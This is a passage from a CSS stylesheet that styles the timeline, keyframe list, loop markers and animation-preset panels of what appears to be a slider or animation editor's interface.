.tllayerlist_element.checked>.layerlist_element_innerwrap {  background: #0d0d0e; /*hoveredtimelinebg*/ }

.tllayerlist_element_zone >.layerlist_element_innerwrap:hover .context_left,
.tllayerlist_element_zone >.layerlist_element_innerwrap:hover .stimeline { background:#0d0d0e  }


 .tllayerlist_element .layer_has_action { width: 8px;height: 8px; position: absolute; top: 13px; left: 11px; border-radius: 4px; background: #f82c8e; display: none; }
 .tllayerlist_element.actionmarked .layer_has_action { display: block }

.timebox,
.timebox_idle { width: 60px;height: 17px; box-sizing: border-box; vertical-align: top; line-height: 17px; background: #121314; color: #fff; font-size: 12px;  text-align: center; top:10px; position: absolute; left:0px;}

.timebox_idle {
    background: #202224;
    box-shadow: 0px 0px 0px 1px #4f565f;
}

.inmove.timebox,
#currenttime.inmove .timebox,
.timebox span { display: inline-block; font-size: 12px; color: #fff; }
.timebox_marker { width: 0px; height: 4000px; border-left:1px solid rgba(255,255,255,0.1); background:transparent; position: absolute;left: 0px;top: 26px; }

#currenttime .timebox_idle { display: inline-block; }
#currenttime .timebox { display: none }
#currenttime.inmove .timebox_idle { display: none }
#currenttime.inmove .timebox { display: inline-block }


.slidelooptimemarker,
.fixedscrolltimemarker{  display:none; height:100%; width: 200px; background: rgba(63, 68, 74, 0.15); pointer-events: none; z-index: 1000; position: absolute; top: 0px;left:200px; }

#time_linear .slidelooptimemarker,
#fixedscroll_linear .fixedscrolltimemarker { height: 35px; }

#fixedscrolltimestart .timebox_marker,
#fixedscrolltimeend .timebox_marker,
#slidelooptimestart .timebox_marker,
#slidelooptimeend .timebox_marker { border-left: 1px solid #323438; top: 0px; z-index: 2; }

#slidelooptimestart .timebox_marker:after,
#fixedscrolltimestart .timebox_marker:after { content:" "; width: 0; height: 0; border-style: solid; border-width: 10px 10px 0 0; border-color: #3f444a transparent transparent transparent;  position:absolute; top:0px;left:0px;}
#slidelooptimeend .timebox_marker:after,
#fixedscrolltimeend .timebox_marker:after { content:" "; width: 0;height: 0;border-style: solid;border-width: 0 10px 10px 0;border-color: transparent #3f444a transparent transparent;  position:absolute; top:0px;right:0px;}

#hovertime .timebox_marker,
#frametime .timebox_marker { border-left-color: #006dd2; }
#hovertime .timebox,
#frametime .timebox { background: #006dd2; }

#currenttime .timebox { background: #202224;box-shadow: 0px 0px 0px 1px #4f565f; }
#currenttime .timebox_marker { border-left-color: transparent; }

#currenttime.inmove .timebox { background: #5e35b1; box-shadow: none; }
#currenttime.inmove .timebox_marker { border-left-color: #5e35b1; }


.covered .timebox_marker { display: none; }

#fixedscrolltimestart .timebox,
#fixedscrolltimeend .timebox,
#slidelooptimestart .timebox,
#slidelooptimeend .timebox,
#maxtime .timebox { color: #fff; background: #202224;box-shadow: 0px 0px 0px 1px #4f565f; top: 10px; line-height: 17px; height: 17px; left: 0px; position: absolute; }

#fixedscrolltimestart .timebox,
#fixedscrolltimeend .timebox,
#slidelooptimestart .timebox,
#slidelooptimeend .timebox {  display:none }

#fixedscrolltimeend .timebox
#slidelooptimeend .timebox { left: -60px; }

#fixedscrolltimestart .timebox,
#fixedscrolltimeend .timebox,
#slidelooptimestart .timebox,
#slidelooptimeend .timebox { z-index: 4; }

#fixedscrollimestart .timebox span,
#fixedscrollimeend .timebox span,
#slidelooptimestart .timebox span,
#slidelooptimeend .timebox span
#maxtime .timebox span { color: #fff; }

#fixedscrolltimestart,
#fixedscrolltimeend,
#slidelooptimestart,
#slidelooptimeend { pointer-events: none; display: none; }


#timeline.fixedscrollon .fixedscrolltimemarker,
#timeline.fixedscrollon #fixedscrolltimestart,
#timeline.fixedscrollon #fixedscrolltimeend,
#timeline.slideloopon .slidelooptimemarker,
#timeline.slideloopon #slidelooptimestart,
#timeline.slideloopon #slidelooptimeend { display: block; z-index:1;}

/* SLIDE LOOP EDIT MODE */
#timeline.fixedscrolledit #fixedscrolltimestart,
#timeline.fixedscrolledit #fixedscrolltimeend,
#timeline.slideloopedit #slidelooptimestart,
#timeline.slideloopedit #slidelooptimeend { pointer-events: auto; z-index: 10}

#timeline.fixedscrolledit #fixedscrolltimestart .timebox_marker,
#timeline.fixedscrolledit #fixedscrolltimeend .timebox_marker,
#timeline.slideloopedit #slidelooptimestart .timebox_marker,
#timeline.slideloopedit #slidelooptimeend .timebox_marker {border-color: #5e35b1; }

#timeline.fixedscrolledit #fixedscrolltimestart .timebox_marker:after,
#timeline.slideloopedit #slidelooptimestart .timebox_marker:after {border-color: #5e35b1 transparent transparent transparent}

#timeline.fixedscrolledit #fixedscrolltimeend .timebox_marker:after,
#timeline.slideloopedit #slidelooptimeend .timebox_marker:after {border-color:transparent #5e35b1 transparent transparent;}

#timeline.fixedscrolledit .fixedscrolltimemarker,
#timeline.slideloopedit .slidelooptimemarker {  background: rgba(94, 53, 177, 0.15); }

#timeline.fixedscrolledit #fixedscrolltimestart .timebox,
#timeline.fixedscrolledit #fixedscrolltimeend .timebox,
#timeline.slideloopedit #slidelooptimestart .timebox,
#timeline.slideloopedit #slidelooptimeend .timebox { display: block; }



/*#time_linear .rm_twosec:first-child { height: 26px; bottom: -10px; border-left: none}  310 insted of 290*/

#hovertime,
#frametime,
#currenttime,
#maxtime,
#fixedscrolltimestart,
#fixedscrolltimeend,
#slidelooptimestart,
#slidelooptimeend { position:absolute; left:0px; top:0px; cursor:pointer; z-index: 5}

#fixedscrolltimestart,
#slidelooptimestart { left: 200px; }
#fixedscrolltimeend,
#slidelooptimeend { left: 400px; }

#maxtime { z-index: 4; }

#fixedscrolltimeend,
#fixedscrolltimestart,
#slidelooptimeend,
#slidelooptimestart { z-index: 15; }

#frametime { pointer-events: none; z-index: 6; display: none}
#hovertime { pointer-events: none; z-index: 2; display: none}

#hovertime.hideme,
#frametime.hideme { display: none !important; }


/*** SINGLE TIMELINES ****/

.stimeline .frameswrap { position: absolute !important;height: 16px;top: 10px;left: 0px;  }
.stimeline .frameswrap framebg { position: absolute !important; top: 0px;left: 0px; height: 16px;/*background: #323438;*/ cursor: ew-resize;}

.frame_unvisible_start { position: absolute;top: -11px;left: -20px; width: 300px; background: #202224; opacity: 0.75; height: 37px; z-index: 100; pointer-events: none;  display:none;}
.tllayerlist_element.frame_1_indrag >ul .frame_unvisible_start { display: block; }

.frameswrap framewrap { position: absolute !important; top: 0px !important;left: 0px; min-width: 0px;height: 16px;background: #4f5660; border-radius:2px; cursor: ew-resize}
#the_slide_timeline .stimeline .frameswrap framebg,
#the_slide_timeline .stimeline .frameswrap framewrap { cursor: default; }
.frameswrap framewrap marker { background: #3f444a;position: absolute; left:auto;right:0px; top: 0px; height: 16px; border-radius:2px;}
.frameswrap framewrap.frame_frame_1 marker,
.frameswrap framewrap.frame1 marker,
.frameswrap framewrap:first-child marker { left: 0px; right:auto;}

.enable_on_frame_0,
.enable_on_frame_1,
.enable_on_frame_999 { visibility: hidden; height: 0px; width: 0px; opacity: 0; }

.show_on_frame_0,
.show_on_frame_1,
.show_on_frame_999 { display: none !important; }
.selected_frame_0 .hide_on_frame_0 { display: none !important; }
.selected_frame_0 .show_on_frame_0,
.selected_frame_1 .show_on_frame_1,
.selected_frame_999 .show_on_frame_999 { display: inline-block !important; }


.selected_frame_0 .enable_on_frame_0,
.selected_frame_1 .enable_on_frame_1,
.selected_frame_999 .enable_on_frame_999 { visibility: visible !important; height: auto; width: auto; opacity: 1; }

.selected_frame_0 #remove_keyframe,
.selected_frame_1 #remove_keyframe,
.selected_frame_999 #remove_keyframe { display: none; }
#le_keyframes_list_innerwrap { position: relative }


#remove_keyframe:hover { color: #fff !important; }

.frameswrap frameinfo { position: absolute;top: 2px;left: 50%;color: #fff;line-height: 12px;font-size: 11px;transform: translateX(-50%); font-weight: 400; pointer-events: none; z-index: 5}
.frameswrap framedelay { position: absolute; display:none;top: -17px;padding:0px 3px; border:1px solid transparent; color: #b7bbc0;line-height: 14px;font-size: 11px;transform: translateX(-100%); font-weight: 400; z-index: 3; pointer-events: none; background:#3f444a;}

.frameswrap endloop,
.frameswrap startloop { display:none; position: absolute; pointer-events: none; top: 0px; left:0px; line-height: 16px; font-size: 11px;background: #3f444a; color:#b7bbc0; border:1px solid #777c80;box-sizing: content-box; z-index:8; width:14px; height:14px;}
.frameswrap endloop { left:auto; right:0px;}

.frameswrap starloop.shifted { left: 17px !important; }

#timeline_settings .layerListContainer .frameswrap endloop i.material-icons,
#timeline_settings .layerListContainer .frameswrap startloop i.material-icons { line-height: 14px !important; font-size: 14px !important; width:14px;}

.frameswrap  framedelay.coloredbgover,
.frameswrap  framedelay.coloredbg { top: 0px !important;  display: block; }

.stimeline:hover .frameswrap framedelay,
.frameswrap framewrap.ui-draggable-dragging framedelay { display: block; }

framedelay.coloredbg { background: #3f444a; color:#b7bbc0; border:1px solid #777c80;box-sizing: border-box; font-weight: 600}
framedelay.coloredbgover { color:#b7bbc0; border:1px solid #777c80; }


#slide_frame_container framedelay { display: none !important; opacity: 0 !important; }

.checked >.layerlist_element_innerwrap .stimeline framedelay.coloredbg,
.checked >.layerlist_element_innerwrap .stimeline startloop,
.checked >.layerlist_element_innerwrap .stimeline endloop     {  background:#4f5660;border:1px solid #fff; color:#fff;}

framewrap:hover  startloop,
framewrap:hover  endloop,
.checked >.layerlist_element_innerwrap .stimeline framedelay.coloredbgover {  border:1px solid #fff; color:#fff;}

.frameswrap framewrap:hover startloop,
.frameswrap framewrap:hover endloop,
.frameswrap framewrap.selected startloop,
.frameswrap framewrap.selected endloop,
.frameswrap framewrap.selected,
.frameswrap framewrap.selected marker,
.frameswrap framewrap:hover,
.frameswrap framewrap:hover marker { background: #006dd2 !important; }


.inAnimationMode .frameswrap framewrap.frame_frame_1 { background: transparent !important; }



.inAnimationMode .frameswrap framewrap.frame_frame_1 ffafter  {  z-index:2; content:" "; position: absolute; top:0px; left:50%; height: 100%; width: 50%; background:#4f5660; border-radius: 0px 2px 2px 0px; box-sizing: border-box;}
.inAnimationMode .frameswrap framewrap.frame_frame_1 ffbefore {  z-index:2; content:" "; position: absolute; top:0px; left:0; height: 100%; width: 50%; background:#4f5660; border-radius: 2px 0px 0px 2px; box-sizing: border-box;margin-right:1px;}

.inAnimationMode .frameswrap framewrap.frame_frame_1.selected_0.selected ffbefore,
.inAnimationMode .frameswrap framewrap.frame_frame_1 ffbefore:hover {  background: #006dd2; }
.inAnimationMode .frameswrap framewrap.frame_frame_1.selected ffafter,
.inAnimationMode .frameswrap framewrap.frame_frame_1 ffafter:hover {  background: #006dd2; }

.inAnimationMode .frameswrap framewrap.frame_frame_1.selected_0.selected ffafter { background: #4f5660; border: none; }
.inAnimationMode .frameswrap framewrap.frame_frame_1.selected_0.selected ffafter:hover {  background: #006dd2 !important; }



.frameswrap framewrap.selected framedelay.coloredbg,
.frameswrap framewrap.selected framedelay.coloredbgover,
.frameswrap framewrap:hover  framedelay.coloredbg,
.frameswrap framewrap:hover framedelay.coloredbgover { border-color: #fff; background: #006dd2 !important; color: #fff; } 

#slide_frame_container .frameswrap { /*background:#323438;*/  }
/*#slide_frame_container .frameswrap framewrap {  background: #5e35b1; cursor:default;}*/
#slide_frame_container .frameswrap framewrap marker { background: #5e35b1; cursor:default;}





#timeline_collapser { display:none; z-index: 1700;line-height: 35px; background-color:#202224; font-size:11px; position: absolute; right: 0px;top: 0px; width: 35px;height: 35px; text-transform: uppercase; color: #777c80; cursor: pointer; text-align: center; }
#timeline_collapser i { margin: 0px; padding: 0px; width: 35px;height: 35px; font-size: 24px}
#timeline_collapser:hover { color: rgba(183,187,192,1); }
.inResize #timeline_collapser { display: none !important; }

#timeline > .ui-resizable-n { cursor: ns-resize; }

#timeline_settings #frametime { display: none; }
/*#timeline_settings.frame_in_drag #currenttime,*/
#timeline_settings.frame_in_drag #hovertime,
#timeline_settings.frame_in_drag #maxtime { display: none !important; }
#timeline_settings.frame_in_drag #frametime { display: block !important; }



/***********************************
 - LAYER ANIMATION PROGRESS  -
************************************/
#le_keyframes_list { position: relative; }
#layer_animation_progressbar { position: absolute; left: -14px; top: 0px; width: 6px; height: 100%; border: 1px solid #777c80; border-right: none; }
#layer_animation_progressarrow { position:absolute; left:0px; top:0px; transform:translateY(-50%); width: 0;height: 0;border-style: solid;border-width: 5px 0 5px 5px;border-color: transparent transparent transparent #ffffff; }
#layer_simulator_time { color: #777c80; display: inline-block; font-size: 12px; font-weight: 400; margin-left: 10px; line-height: 30px; vertical-align: top }

#layer_simulator { margin-top: 5px; margin-bottom: 0px; margin-right: 10px}
#layer_simulator i.material-icons { width: 30px !important; }

.group_loopsettings { display: none; }

.settingsmenu_wrapbtn,
.ts_wrapbrtn,
.loop_wrapbrtn { line-height: 30px;  text-align: center; color:#b7bbc0; font-size: 14px; font-weight: 400; display:inline-block; box-sizing: border-box; cursor:pointer; vertical-align: top;min-width: 69px; height: 30px; width:69px;margin-right:1px; margin-bottom:1px;background:#3a3e44;}  
.ts_wrapbrtn.notinuse,
.loop_wrapbrtn.notinuse { background:#35383d; color: rgba(183,187,192,0.4); }

#slide_maintranssettings_wrap .ts_wrapbrtn,
.settingsmenu_wrapbtn { width: 92px; }

#slide_maintranssettings_wrap .ts_wrapbrtn.disabled { opacity: 0.5; pointer-events: none; display: none; }

#layer_looping_wrap .settingsmenu_wrapbtn { width: 139px; }

.ssmbtn:hover,
.ssmbtn.selected,
.transtarget_selector:hover,
.transtarget_selector.selected,
.looptarget_selector:hover,
.looptarget_selector.selected { color: #fff; background: #006dd2; }


.ssm_content { display: none }

.ssm_content.selected { display: block; }

.ts_wrapbrtn.notinuse .transtarget_selector:hover,
.ts_wrapbrtn.notinuse .transtarget_selector.selected,
.loop_wrapbrtn.notinuse .looptarget_selector:hover,
.loop_wrapbrtn.notinuse .looptarget_selector.selected { background: transparent; }


.form_collector .form_inner_header #add_ltsel i { margin: 0px !important;  font-size: 20px; }


#layerframespeed_wrap,
#slideframespeed_wrap { position: relative }
#layerframespeed_sub,
#slideframespeed_sub { position: absolute; background: #2a2c2f; color: #777c80; height: 30px; top: 0px; right: 0px; width: 70px; line-height: 30px; z-index: 5; border-radius: 0px 4px 4px 0px; text-align: right; padding: 0px 10px; }


/***********************************
 - SLIDE BACKGROUND TRANSITIONS -
************************************/


#rb_tlw .transgroup,
#rb_tlw .latransgroup { width: 100%;height: auto;  cursor: pointer; position: relative;}
#rb_tlw .latransgroup .latransgroup_name,
#rb_tlw .transgroup .transgroup_name { line-height: 30px; background: #2a2c2f; color: #b7bbc0; font-size: 13px;  display: block; padding:0px 20px; border-radius: 4px; margin-bottom: 1px}

#rb_tlw .latransgroup.selected .latransgroup_name,
#rb_tlw .latransgroup:hover .latransgroup_name,
#rb_tlw .transgroup.selected .transgroup_name,
#rb_tlw .transgroup:hover .transgroup_name { color: #fff; }

#rb_tlw .latransgroup .inner_latransitions,
#rb_tlw .transgroup .inner_transitions { padding: 0px 0px; }

.animation_drop_arrow { display: block; position: absolute; right:0px; top: 0px; height: 30px; width: 30px;  border-left:1px solid #323438; text-align: center;}
.animation_drop_arrow i { color: #b7bbc0;  line-height: 30px !important; font-size: 20px;  transform: rotateZ(-90deg)}
#rb_tlw .latransgroup.selected .animation_drop_arrow i,
#rb_tlw .transgroup.selected .animation_drop_arrow i { color:#fff;transform: rotateZ(0deg) }


#transition_groups { margin-bottom: 25px; }


.dark_btn       { position: relative; border: none; background: transparent; color:#777c80; font-size: 13px; line-height: 23px; cursor: pointer;padding-left:5px;margin-bottom:5px; overflow: hidden; white-space: nowrap; }
.dark_btn.selected,
.dark_btn:hover {  color:#fff;}


.slide_trans_liste,
#layer_trans_targets,
.layer_trans_liste,
.layer_transliste,
.added_slide_transition { background:#3a3e44; color:#b7bbc0; border-radius: 4px; line-height: 30px;padding:0px 10px;margin-bottom:1px;position: relative; cursor: pointer}

.slide_trans_liste { padding-right: 0px; padding-left:30px;}

.slide_trans_liste i.material-icons { float:right;margin-right:6px; font-size:18px }

.layer_transliste { background: #5e35b1; }

#layer_trans_targets,
.layer_transliste { padding: 0px; }

.layer_transliste >.right-divided-icon { font-size: 20px !important; }

.layer_trans_liste { padding: 0px 20px; }


.keyframe_list_title { text-transform: uppercase; font-size: 14px; color: #b7bbc0; font-weight: 800; line-height: 30px; display: inline-block; vertical-align: top;}
.keyframe_infotext { font-size: 12px; line-height: 30px; vertical-align: top; text-align: right; float:right; color:#777c80; font-weight: 400; margin-left: 15px; }
.keyframe_infotext i { font-size: 14px; margin-left: 5px }



#remove_keyframe,
#copy_keyframe,
#paste_keyframe  { cursor: pointer; }

#copy_keyframe:hover,
#paste_keyframe:hover  { color: #b7bbc0; }

#paste_keyframe { display: none; }

#rb_tlw .latransgroup.selected .inner_latransitions { display: block; }


.load_anim_value_wrap {  padding: 10px 20px 0px; }
.keyframe_liste  .load_anim_value_wrap { margin-left: -20px; }

.layer_trans_liste:hover,
.layer_trans_liste.selected,
.slide_trans_liste:hover,
.slide_trans_liste.selected,
.added_slide_transition.selected { background: #006dd2;}

.layer_transliste:hover { color: #fff; }

i.material-icons.rotateleft,
.layer_transliste i,
.latransgroup i { transform: rotateZ(-90deg) }


.layer_transliste_inner { background:#323438 }

.layer_transliste.open .layer_transliste_head i,
.latransgroup.open i { transform: rotateZ(0deg) }

.layer_transliste_head i.right-divided-icon { font-size: 20px !important }

.layer_transliste .layer_transliste_inner,
.latransgroup .lainner_transitions { display: none; }

.layer_transliste.open .layer_transliste_inner,
.latransgroup.open .lainner_transitions { display: block; }


#rb_tlw .layer_trans_liste .material-icons.right-divided-icon { display: none}
#rb_tlw .layer_trans_liste.selected .material-icons.right-divided-icon { display: block}

 
.right-divided-icon {  width: 30px; text-align: center; float: none;position: absolute; right: 0px;top: 0px; z-index: 3; font-size: 15px !important; border-left: 1px solid #323438; }
.added_slide_transition .right-divided-icon:hover { transform: scale(1.2); transform-origin: 50% 50%; }

li.added_slide_transition.selected>i.transition-remove { border:none !important;}

li.added_slide_transition >i.transition-replace { color:rgba(255,255,255,0.75); position: absolute;right: 30px;width: 50px; text-align: right; opacity: 0; cursor: pointer; border-right: 1px solid rgba(0,0,0,0.2);padding-right: 10px;background: transparent; opacity:0;}
li.added_slide_transition:hover >i.transition-replace { opacity:1;}
li.added_slide_transition >i.transition-replace:hover { color:rgba(255,255,255,1);}

.dark_btn .material-icons { font-size: 14px }

.sm-updown {     width: 10px;height: 23px;vertical-align: top;display: inline-block;line-height: 23px;margin-right: 5px}


#latransition_selector_in .sm-updown,
#latransition_selector_out .sm-updown,
#transition_selector .sm-updown { display: none; }


#latransition_selector_in,
#latransition_selector_out { display: none; }

#layer_transliste_0,
#layer_transliste_999 { width: 280px;  display:none;}

.keyframe_liste.open #layer_transliste_0,
.keyframe_liste.open #layer_transliste_999 { display: block; }


.keyframe_CP_wrap { opacity: 0; background: transparent; width: 18px; height:30px; position: absolute; right: 100%; top:0px; color: #b7bbc0; }
.keyframe_CP_toggle { background: #3a3e44; width: 10px; height: 30px; border-radius:4px; position: absolute; left: 0px; top: 0px; text-align: center;   line-height:30px; cursor: pointer; }
#rb_tlw .keyframe_CP_wrap i.material-icons { transform: translateX(-4px); font-size: 16px;  }
#rb_tlw .keyframe_CP_wrap:hover i.material-icons { color: #fff; }

#frame_copypaste_tool { background: transparent; width: auto; padding-right:275px ; height: 30px; right: 20px; box-shadow: 5px 5px 10px rgba(0,0,0,0.5); position: fixed; display: none; z-index: 100000; border-radius: 4px; }
.copyframe,
.pasteframe { padding: 0px 10px 0px 15px; background:#3a3e44; display: inline-block; vertical-align: top; line-height: 30px; color: #b7bbc0; font-size: 12px; font-weight: 500; border-radius:4px 0px 0px 4px; cursor: pointer; }

.pasteframe { color: #777c80; pointer-events: none; padding:0px 20px 0px 0px; border-radius:0px;}
.copy_and_paste .pasteframe { pointer-events: auto; color: #b7bbc0; }

.copyframe:hover,
.pasteframe:hover { color: #fff; }
.keyframe_liste:hover .keyframe_CP_wrap { opacity: 1; }


#keyframe_list_el_frame_1 .keyframe_CP_wrap { display: none !important;}
 

.keyframe_liste_inner { color:#b7bbc0; line-height: 30px;padding:0px 0px;margin-bottom:1px; z-index: 1; position: relative; display: block !important; vertical-align: top; box-sizing: border-box}
.keyframe_liste:first-child .keyframe_liste_inner,
.keyframe_liste:last-child .keyframe_liste_inner { width: 280px; }
.keyframe_liste { z-index: 1; position: relative; cursor: pointer}
.keyframe_liste { padding-left: 0px; margin-bottom: 0px; position: relative }
.frame_list_id { background: #3a3e44; display: inline-block; width: 60px; font-weight: 800; vertical-align: top; line-height: 30px;  text-align: center; font-size:13px; border-radius: 4px}
.frame_list_id i.material-icons { font-size: 20px !important; margin-left: 5px}
.frame_list_eview { border-radius: 4px;display: inline-block; width: 30px; vertical-align: top; line-height: 30px; text-align: center; font-size: 13px; position: absolute;right:0px;top:0px; background: #3a3e44; cursor: pointer}
.frame_list_eview i.material-icons { line-height: 30px !important;  font-size: 14px; color:#777c80;}



#le_keyframes_list_innerwrap .frame_list_id { text-align: right }

.frame_list_id:hover,
.slideanim_preset:hover { color: #fff; }

.keyframe_liste.keyframe_liste_dyn:nth-child(1) .keyframe_liste_inner .frame_list_title { text-align: center;width: 108px;box-sizing: border-box;  white-space: nowrap;overflow: hidden;}
.keyframe_liste.keyframe_liste_dyn:nth-child(2) .keyframe_liste_inner .frame_list_title { text-align: center;width: 107px;box-sizing: border-box; white-space: nowrap;overflow: hidden; border-radius: 0px 4px 4px 0px}

.frame_list_title i.material-icons {position: absolute;left: 10px;font-size: 14px !important;}


.keyframe_liste.keyframe_liste_dyn:nth-child(1),
.keyframe_liste.keyframe_liste_dyn:nth-child(1) .keyframe_liste_inner {  width: 173px !important;   }
.keyframe_liste.keyframe_liste_dyn:nth-child(2),
.keyframe_liste.keyframe_liste_dyn:nth-child(2) .keyframe_liste_inner {  width: 107px !important;  }

#le_keyframes_list_innerwrap li:nth-child(2) { position: absolute; left: 173px; top: 0px; }
#le_keyframes_list_innerwrap li:nth-child(2) .frame_list_id { display:none !important;}

#le_keyframes_list_innerwrap li:nth-child(1) .frame_list_title { border-radius: 4px 0px 0px 4px }
#le_keyframes_list_innerwrap li:nth-child(2) .frame_list_title { margin: 0 !important;  border-radius:0px 4px 4px 0px; border-left:2px solid #323438}


.frame_list_eview:hover  i.material-icons,
.frame_list_eview.selected  i.material-icons { color: #b7bbc0;}

.frame_list_eview.selected  i.material-icons { font-size:16px;}

.frame_list_title { overflow:hidden; padding: 0px 10px; display: inline-block; vertical-align: top; line-height: 30px;  font-weight: 400; font-size:13px; background: #3a3e44; width:215px; box-sizing: border-box; margin-left:5px; border-radius: 4px; text-align: center; position: relative}
.frame_list_title.with_icon { padding: 0px 10px 0px 30px; }
.keyframe_liste_inner .frame_list_title { display: inline-block; }

._TPRB_ .add_frame_after,
._TPRB_ .add_frame_before { display:none; cursor:pointer; position: absolute; padding:0px; right: 0px; bottom: -10px; width: 20px;height: 20px;  border-radius: 10px; background:#006dd2;  line-height: 20px; text-align: center; color:#fff; margin:0px; box-shadow: 0px 0px 10px 1px rgba(0,0,0,0.35)}

._TPRB_ .add_frame_after:after,
._TPRB_ .add_frame_before:after { content: " ";  width: 0;height: 0;border-style: solid;border-width: 10px 13px 10px 0;border-color: transparent #006dd2 transparent transparent; position: absolute;left:-7px;top:0px;z-index: 1;}
._TPRB_ .add_frame_before { top: -11px; bottom: auto; }

._TPRB_ .add_frame_after i.material-icons,
._TPRB_ .add_frame_before i.material-icons { line-height: 20px !important; font-size: 16px;  margin:0px; color:#fff;z-index: 2;position: relative}


._TPRB_ .add_frame_after:hover,
._TPRB_ .add_frame_before:hover { background: #006dd2;}

#le_keyframes_list_innerwrap,
#le_keyframes_list_innerwrap_in,
#le_keyframes_list_innerwrap_out { margin: 0px; padding: 0px; }

.frame_list_title:hover { color: #fff; }
.keyframe_liste.selected .keyframe_liste_inner .frame_list_title,
.slideanim_preset:hover,
.slideanim_preset.selected { background: #006dd2; color: #fff; }

.keyframe_liste:hover { z-index: 30 !important; overflow: visible; }

.keyframe_liste_inner:hover .add_frame_after,
.keyframe_liste_inner:hover .add_frame_before { display: block; }

#form_layer_animation .blocksfxanim { display: none; }
#form_layer_animation .nosfxanim { display: block; }


#form_layer_animation .blockfromleft .blocksfxanim,
#form_layer_animation .blockfromright .blocksfxanim,
#form_layer_animation .blockfromtop .blocksfxanim,
#form_layer_animation .blockfrombottom .blocksfxanim,
#form_layer_animation .blocktoleft .blocksfxanim,
#form_layer_animation .blocktoright .blocksfxanim,
#form_layer_animation .blocktotop .blocksfxanim,
#form_layer_animation .blocktobottom .blocksfxanim { display: block; }

#form_layer_animation .blockfromleft .nosfxanim,
#form_layer_animation .blockfromright .nosfxanim,
#form_layer_animation .blockfromtop .nosfxanim,
#form_layer_animation .blockfrombottom .nosfxanim,
#form_layer_animation .blocktoleft .nosfxanim,
#form_layer_animation .blocktoright .nosfxanim,
#form_layer_animation .blocktotop .nosfxanim,
#form_layer_animation .blocktobottom .nosfxanim { display: none; }


/* CUSTOM ANIAMTION SAVING PROCESSES */

.custom_layer_animation_toolbar { position: absolute; top: 0px; right: 5px; height: 30px; text-align:right; z-index: 10; display:none;}
.presets_listelement:hover .custom_layer_animation_toolbar,
.layer_trans_liste:hover .custom_layer_animation_toolbar  { display: block }

.custom_layer_animation_toolbar .material-icons { line-height:  30px !important; width:25px; text-align: center; display: inline-block; cursor: pointer; font-size: 16px; color:rgba(255,255,255,0.5);}
.custom_layer_animation_toolbar .material-icons:hover { color: #fff; }

.cla_message,
.cla_entername,
#rb_tlw .custom_layer_animation_toolbar .material-icons.cla_answer_yes,
#rb_tlw .custom_layer_animation_toolbar .material-icons.cla_answer_no { display: none; }

.cla_message,
.cla_entername { width:200px; top:0px; left:0px; height: 30px; line-height: 30px; position: absolute;}

.cla_message { padding: 0px 20px; box-sizing: border-box; background: #006dd2; width: 100%; z-index: 2; }

.cla_showmessage .cla_message,
#rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.cla_answer_yes,
#rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.cla_answer_no  { display: inline-block; }

.cla_showentername .custom_layer_animation_toolbar,
.cla_showmessage .custom_layer_animation_toolbar { display: block; }

.cla_showentername .cla_entername,
#rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.cla_answer_yes,
#rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.cla_answer_no  { display: inline-block; z-index: 5;}

#rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.edit_custom_layeranimation,
#rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.save_custom_layeranimation,
#rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.delete_custom_layeranimation,
#rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.edit_custom_layeranimation,
#rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.add_custom_layeranimation,
#rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.save_custom_layeranimation,
#rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.delete_custom_layeranimation { display: none }


 #rb_tlw .cla_showentername input.cla_entername { width: 100%; padding: 0px 20px; box-sizing: border-box; box-shadow: none; border: none; outline: none; color: #fff; background: #006dd2 !important; z-index: 2;}


#all_layer_loop_animation .frame_list_id { display: none; }
#all_layer_loop_animation .frame_list_title { width: 100%; margin: 0px; }

#layer_simulator_loop { position: absolute }


/**************************
  COMMON PRESET ELEMENTS
**************************/

.presets_liste { background: #3a3e44;
    color: #b7bbc0;
    border-radius: 4px;
    line-height: 30px;
    padding: 0px;
    margin-bottom: 1px;
    position: relative;
    cursor: pointer;
    margin-bottom: 20px;
}

.presets_liste_title { padding: 0px 10px;
    display: inline-block;
    vertical-align: top;
    line-height: 30px;
    font-weight: 400;
    font-size: 13px;
    background: #3a3e44;
    width: 100%;
    box-sizing: border-box;
    /*margin-left: 5px;*/
    border-radius: 4px;
    text-align: center; 
}

.presets_liste.open  .presets_liste_title { color: #fff; }

.presets_liste i, .presetssgroup>i { transform:rotateZ(-90deg); border-top: 1px solid #323438; border-left:none;}

.custom_layer_animation_toolbar i { transform: rotateZ(0deg);border: none; }
.presets_liste.open .presets_liste_head>i { transform:rotateZ(0deg); border-left: 1px solid #323438; border-top:none;}
.presetssgroup.open>.presetssgroup_head>.animation_drop_arrow>i { transform:rotateZ(0deg); border:none;}


.presets_liste_head i.right-divided-icon { font-size:20px !important}
.presets_liste_inner { background: #323438; display:none}
.presets_liste.open .presets_liste_inner,
.presets_liste_inner.open { display:block}
#rb_tlw .presetssgroup { width: 100%;
    height: auto;
    cursor: pointer;
    position: relative;
}

.presetssgroup_name {
      line-height: 30px;
    background: #2a2c2f;
    color: #b7bbc0;
    font-size: 13px;
    display: block;
    padding: 0px 20px;
    border-radius: 4px;
    margin-bottom: 1px;
}

.presets_listelements { display:none}
.presetssgroup.open .presets_listelements { display:block}

.slide_trans_templates .presetssgroup_name {
  padding-left: 10px;
}


.modern_presets {
  width: 92px; display: inline-block; height: 60px; line-height: 20px; box-sizing: border-box; 
  margin-right: 1px; margin-bottom: 1px; text-align: center; border-radius: 6px;
}

.modern_presets .presets_liste_head { padding: 10px; box-sizing: border-box; }

.modern_presets .presets_liste_head .right-divided-icon  {  display: none !important; }
.modern_presets .presets_liste_head i.presets_liste_icon.material-icons { display: block !important;  font-size: 25px !important; line-height: 25px !important; transform: none !important; border: none !important; }
.modern_presets .presets_liste_head .presets_liste_title  {  display: block; text-align: center;  line-height: 18px; font-size:12px;}


.modern_presets:hover,
.modern_presets.open { background:#006dd2 !important; color: #fff; cursor: pointer}
.modern_presets.open .presets_liste_title,
.modern_presets:hover .presets_liste_title {  background:#006dd2 !important;}

.presets_listelement {     
  background: #3a3e44;
    color: #b7bbc0;
